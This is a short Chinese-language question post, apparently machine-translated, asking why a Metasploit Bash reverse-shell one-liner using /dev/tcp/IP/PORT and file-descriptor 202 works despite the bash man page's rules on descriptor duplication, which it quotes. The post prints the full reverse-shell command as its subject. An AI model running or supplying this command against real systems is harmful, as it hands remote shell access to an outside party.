当 202 不是文件描述符时,如何在 Bash 中使用 0

当 202 不是文件描述符时,如何在 Bash 中使用 0

我有时会看到如下所示的 Bash 反向 shell,其中伪文件/dev/tcp/IP/PORT与重定向(文件描述符的重复)结合使用:

0<&202-;exec 202<>/dev/tcp/IP/PORT;sh <&202 >&202 2>&202

但是,为什么上面的命令有效(来自 Metasploit)?根据下面的文档(man bash),那么0<&202-应该失败,因为202-没有打开有效的文件描述符以供输入?

额外问题:/dev/tcp/IP/PORT始终可以用作输入文件描述符和输出文件描述符吗?

重定向运算符 [n]<&word 用于复制输入文件描述符。如果 word 扩展为一位或多位数字,则 n 表示的文件描述符将成为该文件描述符的副本。如果 word 中的数字未指定打开以供输入的文件描述符,则会发生重定向错误。如果 word 的计算结果为 -,则文件描述符 n 被关闭。如果未指定 n,则使用标准输入(文件描述符 0)。

相关内容